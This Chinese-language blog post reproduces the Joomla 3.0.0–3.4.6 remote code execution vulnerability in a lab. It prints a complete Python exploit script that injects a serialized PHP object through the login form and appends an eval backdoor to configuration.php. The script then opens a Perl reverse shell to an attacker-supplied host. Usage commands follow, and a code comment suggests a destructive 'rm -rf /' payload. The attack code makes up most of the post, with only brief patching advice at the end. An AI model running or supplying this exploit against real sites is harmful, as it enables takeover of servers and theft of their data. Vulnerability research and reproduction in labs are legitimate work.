Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

一、漏洞描述

Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: https://downloads.joomla.org/,漏洞位于根目录下的configuration.php,由于该CMS对函数过滤不严格,导致了远程代码执行漏洞,该漏洞可能导致服务器被入侵、信息泄露等严重风险。

二、漏洞影响版本

Joomla 3.0.0-3.4.6

三、漏洞环境搭建

靶机:win7(使用phpstudy搭建环境)    ip:192.168.10.171

攻击机:kali    ip:192.168.10.140

1、下载joomla 3.4.6下载地址:https://downloads.joomla.org/cms/joomla3/3-4-6

2、设置网站名、管理员邮箱、用户名、密码等

  

3、连接数据库

  

4、安装完成之后,需要删除安装目录

  

5、成功安装

  

四、漏洞复现

1、使用脚本进行验证,下图说明漏洞存在(显示”Vulnerable”证明存在漏洞)

python3 joomla3.4.6-rce.py -t  http://192.168.10.171/joomla/

  

2、脚本内容(或者见joomla3.4.6-rce.py文件)

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored

init(autoreset=True)
PROXS = {‘http‘:‘127.0.0.1:8080‘}
PROXS = {}

def random_string(stringLength):
        letters = string.ascii_lowercase
        return ‘‘.join(random.choice(letters) for i in range(stringLength))

backdoor_param = random_string(50)

def print_info(str):
        print(colored("[*] " + str,"cyan"))

def print_ok(str):
        print(colored("[+] "+ str,"green"))

def print_error(str):
        print(colored("[-] "+ str,"red"))

def print_warning(str):
        print(colored("[!!] " + str,"yellow"))

def get_token(url, cook):
        token = ‘‘
        resp = requests.get(url, cookies=cook, proxies = PROXS)
        html = BeautifulSoup(resp.text,‘html.parser‘)
        # csrf token is the last input
        for v in html.find_all(‘input‘):
                csrf = v
        csrf = csrf.get(‘name‘)
        return csrf

def get_error(url, cook):
        resp = requests.get(url, cookies = cook, proxies = PROXS)
        if ‘Failed to decode session object‘ in resp.text:
                #print(resp.text)
                return False
        #print(resp.text)
        return True

def get_cook(url):
        resp = requests.get(url, proxies=PROXS)
        #print(resp.cookies)
        return resp.cookies

def gen_pay(function, command):
        # Generate the payload for call_user_func(‘FUNCTION‘,‘COMMAND‘)
        template = ‘s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}‘
        #payload =  command + ‘ || $a=\‘http://wtf\‘;‘
        payload =  ‘http://l4m3rz.l337/;‘ + command
        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  ‘file_put_contents(\‘configuration.php\‘,\‘if(isset($_POST[\\\‘test\\\‘])) eval($_POST[\\\‘test\\\‘]);\‘, FILE_APPEND) || $a=\‘http://wtf\‘;‘
        function_len = len(function)
        final = template.replace(‘PAYLOAD‘,payload).replace(‘LENGTH‘, str(len(payload))).replace(‘FUNC_NAME‘, function).replace(‘FUNC_LEN‘, str(len(function)))
        return final

def make_req(url , object_payload):
        # just make a req with object
        print_info(‘Getting Session Cookie ..‘)
        cook = get_cook(url)
        print_info(‘Getting CSRF Token ..‘)
        csrf = get_token( url, cook)

        user_payload = ‘\\0\\0\\0‘ * 9
        padding = ‘AAA‘ # It will land at this padding
        working_test_obj = ‘s:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}‘
        clean_object = ‘A";s:5:"field";s:10:"AAAAABBBBB‘ # working good without bad effects

        inj_object = ‘";‘
        inj_object += object_payload
        inj_object += ‘s:6:"return";s:102:‘ # end the object with the ‘return‘ part
        password_payload = padding + inj_object
        params = {
            ‘username‘: user_payload,
            ‘password‘: password_payload,
            ‘option‘:‘com_users‘,
            ‘task‘:‘user.login‘,
            csrf :‘1‘
            }

        print_info(‘Sending request ..‘)
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text

def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request

        function = ‘assert‘
        template = ‘s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}‘
        # payload =  command + ‘ || $a=\‘http://wtf\‘;‘
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  ‘file_put_contents(\‘configuration.php\‘,\‘if(isset($_POST[\\\‘‘ + backdoor_param +‘\\\‘])) eval($_POST[\\\‘‘+backdoor_param+‘\\\‘]);\‘, FILE_APPEND) || $a=\‘http://wtf\‘;‘
        function_len = len(function)
        final = template.replace(‘PAYLOAD‘,payload).replace(‘LENGTH‘, str(len(payload))).replace(‘FUNC_NAME‘, function).replace(‘FUNC_LEN‘, str(len(function)))
        return final

def check(url):
        check_string = random_string(20)
        target_url = url + ‘index.php/component/users‘
        html = make_req(url, gen_pay(‘print_r‘,check_string))
        if check_string in html:
                return True
        else:
                return False

def ping_backdoor(url,param_name):
        res = requests.post(url + ‘/configuration.php‘, data={param_name:‘echo \‘PWNED\‘;‘}, proxies = PROXS)
        if ‘PWNED‘ in res.text:
                return True
        return False

def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + ‘/configuration.php‘, data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)

def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay(‘php_function‘,‘parameters‘)
        # e.g. get_payload(‘system‘,‘rm -rf /‘)

        # First check that the backdoor has not been already implanted
        target_url = url + ‘index.php/component/users‘

        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok(‘Backdoor implanted, eval your code at ‘ + url + ‘/configuration.php in a POST with ‘ + backdoor_param)
                print_info(‘Now it\‘s time to reverse, trying with a system + perl‘)
                execute_backdoor(url, ‘system(\‘perl -e \\\‘use Socket;$i="‘+ lhost +‘";$p=‘+ str(lport) +‘;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\‘\‘);‘)

if __name__ == ‘__main__‘:
        parser = argparse.ArgumentParser()
        parser.add_argument(‘-t‘,‘--target‘,required=True,help=‘Joomla Target‘)
        parser.add_argument(‘-c‘,‘--check‘, default=False, action=‘store_true‘, required=False,help=‘Check only‘)
        parser.add_argument(‘-e‘,‘--exploit‘,default=False,action=‘store_true‘,help=‘Check and exploit‘)
        parser.add_argument(‘-l‘,‘--lhost‘, required=‘--exploit‘ in sys.argv, help=‘Listener IP‘)
        parser.add_argument(‘-p‘,‘--lport‘, required=‘--exploit‘ in sys.argv, help=‘Listener port‘)
        args = vars(parser.parse_args())

        url = args[‘target‘]
        if(check(url)):
                print_ok(‘Vulnerable‘)
                if args[‘exploit‘]:
                        exploit(url, args[‘lhost‘], args[‘lport‘])
                else:
                        print_info(‘Use --exploit to exploit it‘)

        else:
                print_error(‘Seems NOT Vulnerable ;/‘)

3、使用exp生成一个木马,下图可以看到成功在目标生成木马

python3 joomla3.4.6-rce.py -t  http://192.168.10.171/joomla/ --exploit --lhost 192.168.10.140 --lport 9999    // 用于监听的主机的ip和一个不占用的端口

  

4、在靶机上查看configuration.php文件,发现在末尾被写入木马

  

5、使用菜刀连接

  

 五、修复方法

1、更新至最新版本3.9.12

----------------------------------------------------------------------------------------

参考: https://www.secpulse.com/archives/115192.html

https://blog.csdn.net/weixin_43886632/article/details/102461974

exp: https://github.com/kiks7/rusty_joomla_rce

原文地址:https://www.cnblogs.com/yuzly/p/11663739.html

时间: 2024-07-29 23:43:19

Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现的相关文章

windows RDP远程代码执行_CVE-2019-0708漏洞复现

一.漏洞概述 2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统.此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用.利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机. 二.漏洞影响版本 Windows 7 Windows server 2008 R2 Windows server 2008 Windows 2003 Windows xp 注:Windows

Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现

一.漏洞描述 该漏洞是由于tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响.成功利用此漏洞可允许远程攻击者在目标服务器上执行任意命令,从而导致服务器被完全控制. 该漏洞只影响windows平台,要求启用CGI Servlet和enableCmdLineArguments参数.但是CGI Servlet默认关闭, enableCmdLineArguments在tomcat 9.0之后默认关闭 触发该漏洞需要同时满足以下条件: 1. 系统

IE浏览器远程代码执行高危漏洞(CVE-2019-1367)

IE浏览器远程代码执行高危漏洞(CVE-2019-1367)加固遇到的问题 一.背景介绍 Internet Explorer,是微软公司推出的一款网页浏览器.用户量极大.9月23日微软紧急发布安全更新,修复了一个影响IE浏览器的远程代码执行漏洞.由谷歌威胁分析小组发现此漏洞,据称该漏洞已遭在野利用. 二.漏洞描述 此漏洞是由InternetExplorer脚本引擎中处理内存对象的方式中的内存损坏引起的.要利用此漏洞,攻击者必须引导用户打开已经托管漏洞的恶意网站. 利用此漏洞可以导致攻击者获得用户

漏洞预警 | ECShop全系列版本远程代码执行高危漏洞

2018年9月1日,阿里云态势感知发布预警,近日利用ECShop全系列版本的远程代码执行漏洞进行批量化攻击量呈上升趋势.该漏洞利用简单且危害较大,黑客可通过WEB攻击直接获得服务器权限. 漏洞原理 该漏洞产生的根本原因在于ECShop系统的user.php文件中,display函数的模板变量可控,导致注入,配合注入可达到远程代码执行的效果.使得攻击者无需登录等操作,直接可以获得服务器的权限. 首先从user.php文件入手,代码中可以看到,系统读取HTTP_REFERER传递过来的 内容赋值给$

CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc下载链接如下. github地址:https://github.com/edwardz246003/IIS_exploit 结合上面的POC,我们对漏洞的成因及利用过程进行了详细的分析.在分析过程中,对poc的exploit利用技巧感到惊叹,多次使用同一个漏洞函数触发,而同一个漏洞同一段漏洞利用代码

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr

Apache ActiveMQ Fileserver远程代码执行漏洞

扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ 5.1.0 下载地址:http://activemq.apache.org/activemq-510-release.html 解压后,双击运行abtivemq.bat运行.(进入bin目录,根据自己的操作系统选择win32或win64,5.1.0只有win32目录) 访问8161端口: 漏洞利用

ElasticSearch Groovy脚本远程代码执行漏洞

什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行任意命令..."任意"你懂的,比如:利用nc反弹sh